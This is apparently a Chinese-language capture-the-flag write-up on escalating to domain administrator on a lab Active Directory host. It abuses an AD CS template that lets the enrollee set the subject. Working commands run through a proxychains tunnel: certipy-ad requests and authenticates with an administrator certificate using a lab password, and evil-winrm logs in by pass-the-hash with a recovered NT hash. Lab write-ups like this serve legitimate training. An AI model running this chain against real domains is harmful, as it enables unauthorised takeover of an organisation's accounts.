Enrollment Permissions
        Enrollment Rights : sequel\Domain Admins
                          : sequel\Domain Users

然後這個憑證可以用於 Client Authentication 也就是能直接登入

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pkiextendedkeyusage                 :Client Authentication, Encrypting File System, Secure Email
mspki-certificate-application-policy:Client Authentication, Encrypting File System, Secure Email

最重要的是 , 我們申請的憑證可以由我們自己填入想要的用戶的憑證

1
msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT

所以我們可以合法的使用 Ryan.Cooper 去申請一個管理員的憑證 , 然後登入

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這邊要使用一個工具 certipy-ad 協助我們完成目標先用 sliver 開啟一個 SOCKS5 的 Port
在使用 Proxychins 讓我們的工具能透過搭建的通道在受害者主機上運行

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Payload

1
proxychains certipy-ad req -u ryan.cooper@sequel.htb -p NuclearMosquito3 -upn administrator@sequel.htb -target sequel.htb -ca sequel-dc-ca -template UserAuthentication

{54166AEB-F12B-4666-9816-D920802C608E}

執行後下面成功取得 administrator.pfx

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但是這個並無法直接登入 , 我們必須先拿著這個憑證跟 DC 做身分驗證拿到 TGT
有 TGT 才算是有了登入這個帳號的鑰匙

AD 採用 Kerberos 協定 , 其內建的防重放機制會拒絕時間誤差超過 5 分鐘的請求所以我們通過第一個 Payload 和受害者主機對齊時間再通過第二個 Payload 用憑證申請一個 TGT 帳號的鑰匙

Payload
sudo ntpdate -u 10.129.228.253
certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.208.42

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1
administrator@sequel.htb: aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee

取得 TGT 後我們就能使用一個手法 Pass-the-Hash 的方式登入管理員帳號

Payload

1
evil-winrm -i sequel.htb -u administrator -H a52f78e4c751e5f5e17e1e9f3e58f4ee

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Root D0ne!